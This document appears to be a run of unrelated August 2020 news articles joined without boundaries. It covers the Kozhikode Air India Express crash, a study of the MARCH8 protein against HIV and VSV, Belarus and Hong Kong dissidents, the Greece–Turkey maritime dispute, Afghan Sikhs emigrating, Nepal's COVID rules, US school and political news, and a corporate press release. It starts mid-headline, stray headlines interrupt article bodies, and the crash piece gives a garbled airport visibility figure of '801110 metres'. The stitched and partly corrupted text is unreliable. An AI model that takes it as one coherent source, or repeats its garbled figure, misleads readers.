as major reason for Kozhikode crash India pti-Deepika S New Delhi, Aug 11: A gust of wind, wrong decision by the pilots, the condition of the air strip and even faulty indication by the instrument landing system could be possible reasons for the crash of the Air India Express on Friday in Kerala's Kozhikode, according to aviation experts. The dominant reason cited by the experts was the decision by the pilots to not divert the plane to another airport after the first attempt to land at the designated strip failed amid rain. The Boeing 737, bringing back 190 stranded Indians from Dubai, broke into pieces after it overshot the table-top runway 10 and fell into a valley 35 feet below, leaving 18 people including both the pilots dead. "It is foolish to land with a tailwind on a wet runway...This is what I have been pointing out for years. I said in 2011 that landing with a tailwind in rain on runway 10 will result in an accident one day," leading expert Captain Mohan Ranganathan told PTI. Coronavirus: Russia claims first Covid-19 vaccine 'Sputnik V', WHO wants to review | Oneindia News Ranganathan was a member of the operations group of the Civil Aviation Safety Advisory Committee (CASAC) in 2011. He has been a part of various other safety committees of aviation regulator DGCA. As the investigators begin probe into the accident, another aviation expert referred to the "widely recognised Swiss Cheese" model while talking about possible reasons for the crash that included breaking apart of the plane's fuselage. "Any aeroplane accident that happens is never dependent on a single factor. Top air accident investigation teams across the world believe in the Swiss Cheese model. It says that only when the holes of all the slices of Swiss cheese get aligned, then only an accident happens," the expert said on condition of anonymity. "It is just a metaphor. The Swiss cheese has lot of holes. If you put slices of Swiss cheese in a string and spin them, there will be one in a million times that all the holes would be aligned. That will be a precursor to an accident," he explained. The expert said the reasons for the crash could include environmental factor, human factor, technical factor, health of the plane, administrative factor and external factor like what the air traffic controller is telling the pilots. Kerala plane clash: DGCA bans wide-body aircraft at Kozhikode during monsoon He said a sudden gust of wind leading to a wrong decision by the pilots, condition of the aircraft, wrong signalling by the instrument landing system or pure human error could be some of the reasons for the crash. "It can be a multiple reasons. We cannot speculate. Wind speed could be a reason. When you are at low speed, you are susceptible to impact of the wind. One gust of wind can play havoc," he explained. The runway 10 at the Kozhikode airport is approximately 2,700 metres long. The aircraft touched down approximately 1,000 metres from the beginning of runway 10 while landing, according to the AAI. Captain S S Panesar, former director of flight safety and training at the Indian Airlines said the pilot should have diverted immediately to one of the nearby airports like Trivandrum or Bengaluru after he did not succeed in its first attempt to land on runway 10 in bad weather condition, using the instrument landing system (ILS). The ILS uses radio beams to give pilots vertical and horizontal guidance while landing the plane. "The authorities have found the DFDR (digital flight data recorder) and CVR (cockpit voice recorder), but one thing will remain unanswered, that why didn't he divert?" Panesar asked. The experts said the flight data recorder would give the investigators condition of the health of the aircraft, while the cockpit voice recorder will provide details of what the pilots were thinking and what they were going through before the crash. Captain Deepak Sathe was the pilot-in-command and Captain Akhilesh Kumar was the first officer of the flight AIX1344. According to the AAI, the visibility at Kozhikode airport when the flight landed was 2,000 metres. The Kozhikode airport is a CAT-1 airport where flights can land with visibility of 801110 metres or more. At a CAT-IIIB airport, the runway visual range can be as low as 50 metres. B737 is one of the most popular aircraft models of Boeing. According to the aircraft manufacturers' operations manual, a B737 plane can satisfactorily land or take off when the tailwinds are not more than 15 knots. A former DGCA official told PTI that the accident could have been averted had the runway been extended some more during the last few years. In 2017, the AAI had attempted to procure land to extend the runway, but it was not able to do so as the land acquisition was proving to be expensive and there was stiff resistance from locals, said the official. Addressing the questions on runway 10, Civil Aviation Minister Hardeep Singh Puri said on Monday the airport is equipped with Runway End Safety Area (RESA) as per International Civil Aviation Organisation (ICAO). Ten years back, an Air India Express aircraft overshot the table top runway at Mangalore airport, fell into a gorge and caught fire, resulting in loss of 158 lives. Pointing to the similarities between the two accidents, Mr Ranganathan said "if the same error is done by the same airline (Air India Express), so what happened to safety audits and other checks that the DGCA has been doing for the last 10 years". Panesar said there should be a judicial enquiry into the accident as it will allow aviation experts to file affidavits and ask pointed questions about the accident. To protect humans against infection, a protein called MARCH8 tags the vesicular stomatitis virus (VSV) for destruction while it merely holds HIV hostage, a new study in eLife shows. The findings reveal how a single protein can use multiple strategies to defend cells against viral infection. They could also improve our understanding of how HIV overcomes the human immune defence. Previous studies have shown that MARCH8 stops HIV and VSV from entering human cells by targeting the viral proteins that are essential for these viruses to enter cells. But how the protein does this remained unclear. Researchers in Japan suspected that MARCH8 might flag an important VSV envelope protein for destruction by targeting a particular amino acid called lysine. The VSV G-glycoprotein (VSV-G) has a short tail containing five lysines, making it an ideal target. The HIV envelope glycoprotein (Env), by contrast, has a very long tail with only two lysines, making it harder for MARCH8 to flag it for destruction." Kenzo Tokunaga, Senior Author, Principal Investigator in the Department of Pathology, National Institute of Infectious Diseases, Tokyo, Japan To test their idea, Tokunaga and his team, including co-first authors and Postdoctoral Fellows Yanzhao Zhang and Takuya Tada, replaced the five lysines on the tail of VSV-G with five arginines - another type of amino acid. They also replaced the two lysines on the tail of HIV Env with two arginines. The change allowed VSV-G to escape MARCH8, but not HIV Env. This suggests that MARCH8 targets HIV Env and VSV-G using two different mechanisms. Instead of marking HIV Env for destruction, the team found that MARCH8 holds it hostage, inhibiting its ability to make infectious copies of itself (replicate) and spread to other cells. When they created a mutant version of MARCH8 that lacks a specific pattern of the amino acid tyrosine, they found that HIV Env was able to escape, allowing the virus to replicate. This suggests that the tyrosine pattern in MARCH8 is essential to its HIV defence strategy. "Our work may help explain why humans don't develop symptoms when infected with VSV, even though it can make some animals, mostly cows, horses and pigs, very ill," says Tokunaga. "The findings might also explain, at least in part, why HIV is able to hide from the human immune system, causing persistent infections that are difficult to treat." Her team have declared solidarity with protesters peacefully fighting for their rights. Campaign Headquarters of Belarusian presidential candidate Svetlana Tikhanovskaya has called on the country's government not to use violence against civilians, and suggested starting a dialogue on the peaceful transfer of power. The statement was released via on the Pul Pervoi Telegram channel, the media resource used by the joint press service of campaign headquarters of the three opposition figures Tikhanovskaya, Babariko, and Tsepkalo. "We support everyone who protests falsifications and who peacefully fights for their rights. We stand in solidarity with everyone who defends their right to a better future for themselves and their children. We are against violence, and we're asking the authorities not to use violence against civilians. We propose to start a dialogue on the peaceful transfer of power to the people without violence and upheaval," the statement reads. Where is Tikhanovskaya now On August 10, Svetlana Tikhanovskaya reported to the Belarusian Central Election Commission along with her lawyer and team members, where she was confronted by security officials. Shortly after their contact, she left the building through another exit, without her lawyer. On August 11, it was confirmed that Tikhanovskaya had fled Belarus for Lithuania. Also on August 11, a video was published where Tikhanovskaya is seen reciting a text, prepared and written down beforehand, urging Belarusian citizens to refrain from taking to the streets in order to avoid violence. She had earlier taken her children out of the country in the wake of her husband's arrest in late May. He has been government custody ever since. Belarus protests: background HONG KONG - On a muggy day last summer, as police fired tear gas at anti-government protesters who had gathered in their thousands, Jack picked up a spent canister and threw it back at the officers. He was arrested for rioting, but once out on bail, the then-20-year-old continued to join protests against Beijing's encroachment on Hong Kong's freedoms. Today, Jack is an asylum seeker, living alone some 4,000 miles away in an Australian city he will not disclose. Struggling with English and the Australian accent, he spends his days repairing vehicles and speaks to almost no one. "I feel lonely sometimes, but this is my destiny," said Jack, who gave only his first name for fear of retribution. Jack is among a growing number of Hong Kong protesters - mostly in their teens and early 20s - who have fled abroad and are living in legal limbo after participating in the months-long uprising against Beijing's tightening control. Ranging from prominent activists to unknowns who had little political awareness before last summer, they have scattered as far as Britain, Germany and Canada, though many are in nearby Taiwan. The nature of their departure means the data is incomplete, but resettlement groups and available asylum figures estimate that there are hundreds of these political refugees. Unlike middle-class migrants who secure work or investment visas, many of this cohort left hastily, with little but the clothes they were wearing. There is no way back. Many violated bail terms by leaving and would face immediate detention if they returned. A sweeping security law that Beijing imposed on Hong Kong this summer has prompted a new wave of departures, among them the activists Nathan Law and Honcques Laus. Chinese state media reported that police have issued arrest warrants for Law, Laus and four other overseas activists - one a U.S. citizen - under the law, which asserts global jurisdiction. "I have no idea what is my 'crime' and I don't think that's even important," Law wrote in a Facebook post. "These are trumped-up charges." In response, Western countries have suspended extradition treaties with Hong Kong and are expediting "lifeboat" plans to offer emigres a path to citizenship. But the experiences of young protesters who have escaped offer a window into what awaits: an isolated life, filled with trepidation that they might be surveilled, or harassed by Chinese agents. Many of these young refugees face financial insecurity and have cut ties with their families to protect their safety or over differing political views. Their plight reflects the rapid unraveling of Hong Kong: A city that offered sanctuary to Chinese landowners fleeing the Cultural Revolution and to Vietnamese asylum seekers escaping war is now exporting a new generation of refugees. Jack's political awakening began in 2014, when he joined an ultimately unsuccessful 79-day street occupation to demand the right for Hong Kong people to directly elect their leaders. That movement planted the seeds of the 2019 revolt, sparked by a proposal to allow extraditions to mainland China but rooted in broader concerns that the ruling Communist Party was subsuming Hong Kong into the authoritarian mainland, violating its promise to preserve the city's autonomy. June 12, the day that Jack was arrested, marked the start of more-radical action. With nonviolent tactics yielding no concessions from Beijing, he and others wanted to fight back more forcefully. An opportunity came less than three weeks later, when, while out on bail, Jack joined a group armed with sticks and metal railings and helped smash into the building that houses Hong Kong's legislature. Inside, he scrawled the Hong Kong emblem with graffiti, wrote expletives against the Chinese government and smashed facilities. "When I heard riot police were coming, I ran out of the building so fast, I didn't have time to put on my mask," Jack said in an interview. "My fingerprints were everywhere, and photos were all over the media." Also in the Legislative Council building that day was Brian Leung Kai-ping, who read out a manifesto on behalf of protesters calling for universal suffrage and democracy. Leung, a PhD candidate at the University of Washington, returned to Seattle the next day. This January, Hong Kong police charged him with illegal entry stemming from the legislature occupation, but on June 9 those charges were upgraded to rioting, which carries a 10-year maximum sentence. With Beijing's security law taking effect on July 1 - imposing penalties of up to life in prison for vaguely defined offenses such as secession, subversion, terrorism and foreign collusion, Leung abandoned plans to return to Hong Kong to face his charges, making him a wanted person. Though currently on a student visa, he intends to remain in the United States, probably by applying for asylum. "I thought I would just go back, be sent to jail for several months, and that would be a reasonable punishment," Leung said in an interview, admitting such hope was misplaced. "There's still an element of shock. I never thought that going to a street protest would make you end up as a refugee - it is still hard to swallow." When Jack landed in Australia last September, his clothes were dyed blue. Before boarding his flight, he said, he had attended a protest in the Tsim Sha Tsui neighborhood where he was hit with a stinging blue liquid fired from a police water cannon. He had no time to change before rushing to his gate. Initially, he did not want to seek asylum as he felt embarrassed at the label. Instead, he applied for a working-holiday visa and planned to go to school for vehicle maintenance and repair. He had no friends and no money, but connected with a group of Hong Kong residents. Few, however, live in the city he settled in. "I thought of committing suicide," he said, adding that China's passage of the security law eventually persuaded him to lodge an asylum claim. Jack's Hong Kong friends encouraged him to go to church, though he is not a Christian. "They told me I am not alone, and that really helped me," he said. A group of four protesters, ages 19 to 23, all of whom declined to be named because of safety concerns, fled to Britain in April and May, having become concerned about their futures after they were arrested last year. As they plotted an exit, Britain stood out as one of the few places that would admit Hong Kong residents without a quarantine period amid the coronavirus pandemic. Entering as tourists, they rented a small house in a British town they do not want to disclose. They have minimal contact with relatives, who do not know their whereabouts. All were working or studying before leaving Hong Kong, but now spend their days doing nothing while they wait for a more permanent status that would allow them to work legally. Because they were born after Hong Kong's 1997 handover from Britain to China, they are not eligible for the British National (Overseas) passports that would grant some 3 million Hong Kongers a path to British citizenship under measures London announced recently. "If I go back to June 2019, would I still choose to protest?" one of the exiles, a 22-year-old, said in an interview. "Sometimes I think about it. I have no answer." In Australia, Jack admits that he is lucky. His tuition fees are paid by his father, a businessman who took him to annual vigils in Hong Kong commemorating Beijing's 1989 Tiananmen Square massacre. Jack's father visited him in January, but the national security law has led Jack to cut ties with relatives in Hong Kong as he fears for their safety. Under the law, anyone who protects those alleged to have broken the security law is also guilty of an offense. Chinese authorities routinely seek to punish activists and others who have fled abroad by intimidating their relatives in China. Without legal status that would allow them to work, others in exile are similarly dependent on handouts. In Taipei, one Hong Konger in his 20s, who wanted to be identified only as Collins for fear of retribution, fled when a fellow protester was arrested. Police in February raided an empty apartment that protesters had set up as a control center, seizing cellphones, laptops and gas masks that were stored there and would have led investigators to Collins. The engineering student flew to the Taiwanese city of Kaohsiung and told his family only after he arrived. Although Taiwan has opened a humanitarian office for Hong Kong people living there, it has no clear asylum process. Collins, while waiting for his student-visa application to be processed, spends most of his time walking around the city, playing video games, watching movies and having dinner with other Hong Kong protesters. "We laugh at each other's Mandarin and joke with each other, but the truth is, most of us are suffering greatly from emotional pain and trauma," he said. "We feel hopeless and rely on alcohol to help." Leung and other activists in exile have set up a support group, hoping to break the "shame" of being an asylum seeker from Hong Kong. "It is shocking to think that this world-class city, that this financial center is producing so many stateless people," Leung said. "The burden and the blame really rest on this government, who drove a generation of people out of their hometown and forced them to seek refuge elsewhere." Jack, meanwhile, has not given up on his home. "This is just my way to protect myself, and wait for the right moment to fight back," he said. "If we are patient, I believe that we will see the dawn." - - - The Washington Post's Ryan Ho Kilpatrick and Tiffany Liang contributed to this report. ATHENS, Greece (AP) Greece slammed Turkey's move Monday to launch energy exploration in part of the eastern Mediterranean Athens says overlaps its own continental shelf, as regional tension spiked over rights to offshore natural resources with both countries sending warships to the area. The Greek military was placed on alert, while Prime Minister Kyriakos Mitsotakis convened the government's national security council after Turkey issued a Navtex, or international maritime safety message, Monday announcing its research vessel Oruc Reis and two auxiliary ships would be conducting seismic exploration in an area between Greece and Cyprus until Aug. 23. Turkish Energy and Natural Resources Minister Fatih Donmez said the Oruc Reis had arrived in its area of operation Monday morning from its anchorage off Turkeys southern coast. He tweeted that 83 million back the Oruc Reis, referring to Turkeys population. Turkeys Defense Ministry said naval vessels were escorting the Oruc Reis to protect our rights, and tweeted images of the vessel flanked by five warships. Last week, Turkey also announced it would be conducing a firing exercise Monday and Tuesday in a nearby area, southwest of the Turkish coast between Turkey and the Greek island of Rhodes. Greece will not accept any blackmail. It will defend its sovereignty and sovereign rights, Greece's Foreign Ministry said in a statement. We call on Turkey to immediately end its illegal actions that undermine peace and security in the region. The ministry said Monday's Navtex combined with the observed broad mobilization of units of the Turkish Navy, constitutes a new serious escalation." Turkey is acting in a way that is destabilizing and threatening peace, it added. Greek Minister of State Giorgos Gerapetritis said the Oruc Reis was being monitored by the Greek navy. We are at full political and operational readiness, Gerapetritis said on state television ERT. Story continues The majority of the fleet is ready at this moment to go out wherever is needed, he said when asked to elaborate. Our ships that are sailing in crucial areas were already in place days ago. If necessary, there will be a greater development of the fleet. Gerapetritis said that it is clear that we are not seeking any tension in the region. On the other hand, our determination is a given. Greece on Monday issued its own maritime safety message saying the Turkish Navtex had been issued by an unauthorized station and referring to unauthorized and illegal activity in an area that overlaps the Greek continental shelf. Turkey retorted with another maritime message saying the seismic survey was being conducted on Turkey's continental shelf. Speaking after a four-hour Cabinet meeting, Turkish President Recep Tayyip Erdogan warned that Turkey would not confine its offshore exploration efforts to its immediate coastline, but otherwise appeared conciliatory. Lets come together as Mediterranean countries. Lets find a formula thats acceptable for everyone, that protects everyones rights, he said in a televised speech. He added: We are always there and ready for the solution of disputes through dialogue and on a fair basis. We will continue to implement our own plans in the (eastern Mediterranean) and in the field of diplomacy until common sense prevails in this regard. At the crux of the dispute is whether islands should be included in calculating a countrys continental shelf and maritime zones of economic interest. Turkey argues they should not be, a position Greece says violates international law. Greece has thousands of islands and islets in the Aegean and Ionian seas, around 200 of them inhabited. Tension has increased in recent months over drilling rights and maritime boundaries. Late last month, Turkey had said it was suspending its exploratory operations in the eastern Mediterranean, a move seen as having somewhat defused the situation. But Ankara was angered by a deal Greece and Egypt signed Thursday delineating their maritime boundaries and exclusive economic zones for drilling rights. Last year, Turkey signed a similar deal with the U.N.-backed Libyan government in Tripoli, sparking outrage in Greece, Cyprus and Egypt, which all said the agreement infringed on their economic rights in the Mediterranean. The European Union said the deal was a violation of intentional law that threatens stability in the region. German Foreign Ministry spokesman Christofer Burger said Berlin had taken note with concern of Turkey's decision to conduct seismic exploration. He said Foreign Minister Heiko Maas has repeatedly said that international law must be respected and that we need steps toward deescalation in the Eastern Mediterranean. And in view of this, further seismic exploration is certainly the wrong signal at this time. Turkey's move further burdens its relationship with the EU, Burger added. He called on both sides to resolve all open questions through negotiations and to begin a bilateral dialogue between Athens and Ankara as planned." NATO allies Greece and Turkey have been at odds for decades over a wide variety of issues and have come to the brink of war three times since the mid-1970s, including once over drilling exploration rights. Recent discoveries of natural gas and drilling plans across the east Mediterranean have led to renewed tension. Greece's prime minister Mitsotakis spoke Monday with European Council President Charles Michel and NATO Secretary General Jens Stoltenberg. After the call, Stoltenberg tweeted that the situation must be resolved in a spirit of Allied solidarity and in accordance with international law. A Greek government official, speaking on condition of anonymity to discuss the contents of the conversation, said Mitsotakis stressed during the call that the policy of equal distances is counterproductive and not acceptable. Late Sunday, Erdogans spokesman, Ibrahim Kalin said Turkey and Greece had been holding talks in Berlin for 2 months and were on the verge of issuing a joint statement when the Greek-Egyptian agreement emerged. The moment the agreement with Egypt was announced, we received a clear instruction from our president: You are halting the talks. Inform the Germans and the Greeks, we are not pressing ahead with the negotiations, Kalin told CNN-Turk television. This is another move to keep Turkey out of the Eastern Mediterranean and to restrict it to the Gulf of Antalya. Kalin said Turkey is in favor of resolving the dispute through dialogue, but it is the Greek side that disrupted the agreement and broke the trust. ___ Andrew Wilks and Suzan Fraser in Ankara contributed to this report. Sardar Gurbachan Singh Ghazniwal, 50, always considered Afghanistan his homeland. He braved all kinds of threats during his countrys four-decade-long war but resisted joining members of his countrys tiny Hindu and Sikh minority community in fleeing Afghanistan. Over the years, he lost properties and businesses in the southeastern Afghan city of Ghazni, where he was born, because of insecurity. Even after being forced to live inside a Gurdwara or Sikh temple in the capital, Kabul, he resisted abandoning Afghanistan. But after losing nine relatives in an attack on this temple in March that killed 25 Sikhs, Ghazniwal is now joining the second group of fellow Sikhs and Hindus to migrate to India. He is among some 200 members of the minority community flying to India this week. Whenever I travel in a bus or a taxi, my fellow [Afghan] Muslim brothers ask me, Where do you come from in India Sardar?, Ghazniwal told Radio Free Afghanistan. They even dont consider how I can speak Pashto and Dari, [the two major Afghan languages] so well if I had come from Afghanistan, he added. Even when I speak fluent Pashto and Dari, I am not considered an equal [citizen]. Last month, a group of 11 Afghan Sikhs and Hindus from Afghanistan arrived in India on special visas. They were seen as the first batch among some of the last 250 Afghan minority families poised to leave their country for India. Lawmaker Narender Singh Khalsa, Afghanistans lone Sikh MP, says insecurity is the primary driver of their exodus. If the government continues to fail to respond to our plight in the next 20 to 25 days, we are determined to leave Afghanistan, he told Radio Free Afghanistan. Four months after the attack on our temple, the government has done nothing to reconstruct it so we do not see anything that can boost our confidence [that we are protected here]. Khalsa says that in addition to the militant attacks such as the one on the Sikh temple claimed by Islamic State militants in March, his community is frequently targeted by criminals. He cited the example of one Sikh family who fled Afghanistan after police freed their 17-year-old daughter from kidnappers. She was abducted from Kabul last year and kept in the northern province of Panjshir for 10 months. Government officials have not said anything about the latest exodus of Hindus and Sikhs. But Afghan presidential spokesman Sediq Sediqqi recently said members of Afghanistans minority Sikh and Hindu community will return after peace is restored to Afghanistan. The once-vibrant Afghan Sikh and Hindu community was estimated to be more than 80,000 in the 1980s. But most of them fled after hard-line Islamists assumed power after the collapse of the countrys socialist government in 1992. Some attempted to return after the collapse of the Taliban regime in late 2001 but found their properties and businesses captured or ruined. Many members of the community were targeted by criminals and Islamist militants. Threats and insecurity are now forcing them to abandon Afghanistan altogether. Abubakar Siddique wrote this story based on Radio Free Afghanistan correspondent Nusrat Parsas reporting from Kabul, Afghanistan. Kathmandu, August 11 The government has decided to extend the ongoing suspension on domestic and international flights until September 1. Likewise, the government extended the suspension on inter-district transportation until September 1. Earlier, the suspensions were said to end on August 17. Further, the government imposed a ceiling of 500 passengers per day for rescue and repatriation flights to Kathmandu. The government decided to open only 10 Nepal-India border points to let Nepalis coming from India in. The border restriction will remain effective until September 16. The government spokesperson, Finance Minister Yuba Raj Khatiwada, informed during a press meeting in Kathmandu this afternoon that the cabinet meeting on Monday evening made the decisions. The government also reimposed a restriction on the services of restaurants and hotels that they can only provide takeaway services until the next notice. The government has once again urged the government and private agencies to provide work-from-home facilities to the staff as far as possible. Public events and gatherings will remain suspended until the next notice. Announcing that religious authorities will be allowed to operate daily worships only, the government has urged the public to celebrate their cultural festivals indoors. Tennessee Governor Bill Lee and Commissioner of Education Penny Schwinn announced Thursday the State of Tennessees continued efforts to assist families, teachers and districts as the 2020-2021 school year begins. The department released a dashboard that provides information on each schools status as offering in-person learning, virtual learning or a hybrid. The dashboard is updated daily and can be found here. The department is releasing a child wellbeing check toolkit Thursday "to ensure that the needs of Tennessee children are met during and after extended periods away from school and to empower local communities to meaningfully engage in ways that support child wellbeing." Guidelines established in this document are encouraged to be enacted during any period of extended school closure, through virtual school models and when students return to school after extended periods away. The department is setting aside $1 million in federal COVID-19 relief funding to provide regional support for districts in implementing safe and healthy practices in schools. Details of how districts may apply will be shared with directors of schools in the coming days. In addition, a CDC grant will fund eight regional staff will be hired to support this work across the state. Earlier this week, the department released Schoolnet, the online platform to house the departments suite of free and optional assessment supports for the 2020-21 school year. "It is essential that school leaders, educators and parents can reliably benchmark student progress and receive actionable data for the coming school year," officials said. The department is providing Schoolnet to districts based off feedback and requests from Tennessee teachers desiring a free, optional assessment platform that will house formative assessments, start of year checkpoints and currently released TCAP items. Schoolnet will allow teachers, schools and districts to create their own formative tasks and assessments for students to use while providing immediate, actionable data to help inform instruction. The platform contains innovative, optional assessment tools aligned to Tennessee standards including: Start of Year Checkpoints: These are intended to provide districts with information on student performance at the beginning of the year and help inform educators about student readiness for the year ahead; Mock Interim Assessments: These will be complete blueprint-aligned assessments that mirror the current TCAP summative assessments to give information on student performance in advance of end of year testing; TCAP Item Bank: This will serve as a central location for released items from TCAP assessments for all tested grades and subject areas. Items will continue to be added regularly; Teacher-created Formative Assessments: Using the TCAP Item Bank, educators will be able to create their own formative tasks and assessments for students to use while providing immediate data to help inform instruction. As part of the Best for All strategic plan, these supports are part of the departments innovative assessment initiative. Instructional videos, help documents and how-to resources for using the platform are available at https://tn.mypearsonsupport.com. Ali Maiga Halidu 11.08.2020 LISTEN THE MEMBER of Parliament (MP) for Dormaa West Constituency, Ali Maiga Halidu, has appealed to supporters of the ruling New Patriotic Party (NPP) at Nkrankwanta to remain calm as police investigate the cause of the clash between them and supporters of the opposition National Democratic Congress (NDC) which claimed a life. At a press conference on Sunday evening at the party's vandalized office, the MP urged the angry supporters to be law-abiding and also avoid taking the law into their hands in their quest for vengeance. Flanked by the regional youth organizer, Oppong Razack, constituency chairman, Kwame Owusu, and other party supporters, Ali Maiga entreated the police to fast-track the investigation so that those found culpable could be arrested and prosecuted accordingly. NPP's peaceful posture, he went on, should not be taken for granted as the NDC is doing. He extended the party's condolences to the bereaved family. It would be recalled that on Saturday during the EC mop-up exercise, supporters of the NDC were alleged to have gone on the rampage and attacked NPP supporters at a registration centre about 500 metres away from the district EC office. They later went to the NPP office and vandalized items such as plastic chairs, computers, glass doors, and later set party vehicles ablaze. A certain Kofi Stephen alias La Paix, 36, eventually lost his life, while two others sustained injuries during the incident. Three suspects Ali Musah, 33; Amos Aning, 38; and Ibrahim Acquah, 33 have been arrested and are helping police in their investigation, according to Chief Inspector Augustine Oppong, regional police spokesman. Attempts to speak to the opposition NDC members failed because most of them had left the town and switched off their phones. Apart from Kofi Stephen who died, another NPP supporter called Eliasu and one NDC sympathizer whose name was not readily available also sustained injuries and were receiving at Dormaa West District Hospital. The source said Kofi Stephen originally sustained gunshot injuries and was rushed to Presbyterian Hospital at Dormaa Central where he passed on. Stephen was reportedly hit by bullet when the security personnel present fired warning shots to disperse supporters of both parties at Nkrankwanta. Vehicles and motorbikes belonging to the NPP were also burnt during the violence. EC on Location of Incident EC officials have denied that the incident occurred at their district office as earlier reported. The updated story as in the foregone indicates that the incident took place about 500 metres away from the district office. ---Daily Guide Emilie Munson, Times Union, Albany, N.Y. (TNS) Washington, D.C. Gov. Andrew M. Cuomo and Senate Minority Leader Charles E. Schumer will give addresses at the Democratic National Convention, the convention committee announced Tuesday morning. The convention scheduled for Aug. 17 to 20 will feature over 30 speakers, all Democrats except Republican John Kasich, the former governor of Ohio. From New York, Rep. Alexandria Ocasio-Cortez, D-Bronx, will also speak at the event. Each night, the convention will be livestreamed from 9 to 11 p.m. with speakers joining from locations across the country. Cuomo is scheduled to speak on Aug. 17 on the theme of "we the people," after winning significant national attention in 2020 for his handling of the state's coronavirus pandemic. Schumer, D-N.Y., is scheduled to give an address on Aug. 18 with the theme "leadership matters." Other speakers include former President Barack Obama, former First Lady Michelle Obama, former President Bill Clinton, former Secretary of State Hillary Clinton, House Speaker Nancy Pelosi, D-Calif., and Biden's primary challengers, Sen. Elizabeth Warren, D-Mass., Sen. Cory Booker, D-N.J., South Bend, Ind., Mayor Pete Buttigieg, Sen. Kamala Harris, D-Calif., Sen. Amy Klobuchar, D-Minn., and Sen. Bernie Sanders, I-Vt. Both the Republican and Democratic National Conventions will be largely virtual events this year with few individuals traveling to Milwaukee, the host city. Former Vice President Joe Biden has said he will accept the partys nomination from his home state of Delaware on Aug. 20. New York delegates will not travel to Milwaukee. The Weeknd was announced Tuesday to play the 2020 MTV Video Music Awards in New York City, along with the boy band CNCO, Maluma and rap artist Roddy Ricch. All four are nominated for awards at the show, as The Weeknd is up for six honors while Ricch has three, CNCO has two and Maluma one. The concert is slated to be held outdoors around the Big Apple amid the ongoing COVID-19 pandemic, as MTV says it 'will pay homage to New York with outdoor performances around the city.' Headliner: The Weeknd was announced Tuesday to play the 2020 MTV Video Music Awards in New York City, along with the boy band CNCO, Maluma and rap artist Roddy Ricch. He was snapped in LA last December It's the second time performing at the show for the Toronto-based rapper, who sang Cant Feel My Face on the show five years ago. Maluma performed Felices los 4 two years ago while 2020 marks the first appearances on the annual award show for CNCO and Ricch. The announcements come on the heels of BTS, Doja Cat and J Balvin being announced to play the show, while Keke Palmer will commandeer hosting duties. Among the unique twists this year include Best Music Video From Home, with the nominees being Ariana Grande, Justin Bieber, Drake, and John Legend; and Best Quarantine Performance, with Legend, CNCO, Chloe & Halle, Post Malone and Lady Gaga among the nominees. Busy night: CNCO is up for Best Quarantine Performance in addition to performing A look back: Maluma performed Felices los 4 at the 2018 VMAs from NYC Debut: Rap star Roddy Rich, snapped last year in LA, will perform on the show for the first time Another new category making the times is the award for Video For Good category, to reflect the social sea change in the wake of the killing of George Floyd. Swift, Lil Baby, H.E.R. and Demi Lovato are among the nominees for their songs. Gaga and Ariana Grande are each up for nine honors, while The Weeknd and Billie Eilish have six apiece and Taylor Swift has five. MTV is tabulating votes from fans through August 23, while the 2020 MTV VMA awards air August 30 on MTV. NEW YORK, Aug. 11, 2020 /PRNewswire/ -- General Assembly today announced the appointment of Lisa Lewin as Chief Executive Officer. A veteran education executive and frequent commentator on innovation and equity in the workplace, Lewin joins General Assembly with more than two decades of experience leading public, private, and non-profit organizations at the intersection of education and work. Founded in 2011, General Assembly grew from a co-working space that launched the "coding bootcamp" movement to a global education organization that has served more than 80,000 learners across 40 markets, as well as major employers including Booz Allen Hamilton, BNP Paribas Cardif, Guardian, L'Oreal, and Microsoft. Twice named one of Fast Company's Most Innovative Companies, the firm's co-founder and Chief Executive Officer Jake Schwartz led General Assembly's sale to The Adecco Group in 2018. "General Assembly's work is deeply personal to me. Our mission emerged from my experience, graduating college in a recession and finding myself lost and lonely in the world of work," says Schwartz. "Over the past ten years, we have transformed the lives and careers of tens of thousands of people. I am thrilled that Lisa will be the next CEO of General Assembly, and I know that her passion, leadership, and commitment to social justice will ensure the company's continued success - and impact." A seasoned education executive, Lewin comes to General Assembly from Ethical Ventures, a New York City-based management consulting firm, which she co-founded in 2018. She previously served as Vice President of McGraw-Hill's professional education group, President of Pearson's teacher education group, and Managing Director of the publisher's global learning technology team, which spanned six continents. In addition to her role at General Assembly, Lewin will continue to serve on the boards of the Wikimedia Foundation and Bank Street College of Education. She received a B.S. in Business Administration from Washington University in St. Louis and an M.B.A. from Harvard Business School. "As individuals and employers navigate an incredibly complex and volatile labor market, General Assembly's mission - to empower people to thrive and flourish in the world of work - is more vital than ever," says Lewin. "As we face unprecedented technological change and economic upheaval, that mission, and the company's broader social purpose, have a unique role to play in creating a more just and equitable world. I am proud to build on General Assembly's considerable achievements and to lead a business that is committed to ensuring that anyone, anywhere can realize their potential and transform their career." The Adecco Group, based in Zurich, is among the world's largest HR solutions providers, with more than 34,000 employees in 60 countries supporting more than 600,000 workers every day. Recognized as a pioneer in education and training, The Adecco Group's approach to workforce transformation is informed by its commitment to a " new social contract " which calls upon business leaders, policymakers, and education providers to collaborate to ensure that work opportunities are secure and sustainable for workers and business alike. "We are committed to making the future work for everyone. As we all navigate these times of change, General Assembly plays a critical role in supporting our clients to 'reset normal' and define the new era of work," said Sergio Picarelli, President of Professional and Talent Solutions at the Adecco Group. "We are excited that Lisa is joining General Assembly as CEO; her vision to advance the company's critical work to upskill and reskill workers is very much aligned with where we see the trajectory of the business. We are also grateful to Jake for his stewardship of General Assembly's growth, and for staying on board as an advisor as Lisa steps into her new role." To speak with a press representative of General Assembly, please contact [email protected] or call Tori McKnight (BerlinRosen) at 201-927-2937. About the Adecco Group The Adecco Group is the world's leading HR solutions company. We believe in making the future work for everyone, and every day enable more than 3.5 million careers. We skill, develop, and hire talent in 60 countries, enabling organisations to embrace the future of work. As a Fortune Global 500 company, we lead by example, creating shared value that fuels economies and builds better societies. Our culture of inclusivity, entrepreneurship and teamwork empowers our 34,000 employees. We are proud to have been consistently ranked one of the 'World's Best Workplaces' by Great Place to Work. The Adecco Group AG is headquartered in Zurich, Switzerland (ISIN: CH0012138605) and listed on the SIX Swiss Exchange (ADEN) and powered by nine global brands: Adecco, Adia, Badenoch & Clark, General Assembly, Lee Hecht Harrison, Modis, Pontoon, Spring Professional and Vettery. About General Assembly General Assembly is a pioneer in education and career transformation, specializing in today's most in-demand skills. The leading source for training, staffing, and career transitions, we foster a flourishing community of professionals pursuing careers they love. Focusing on the most relevant and in-demand skills across data, design, business, and technology, GA confronts the global skills gap through award-winning, best-in-class instruction, and innovative opportunities across diverse communities. GA works with students online and in-person across the globe and partners with top employers to help companies source, assess, and transform talent. To learn more, visit 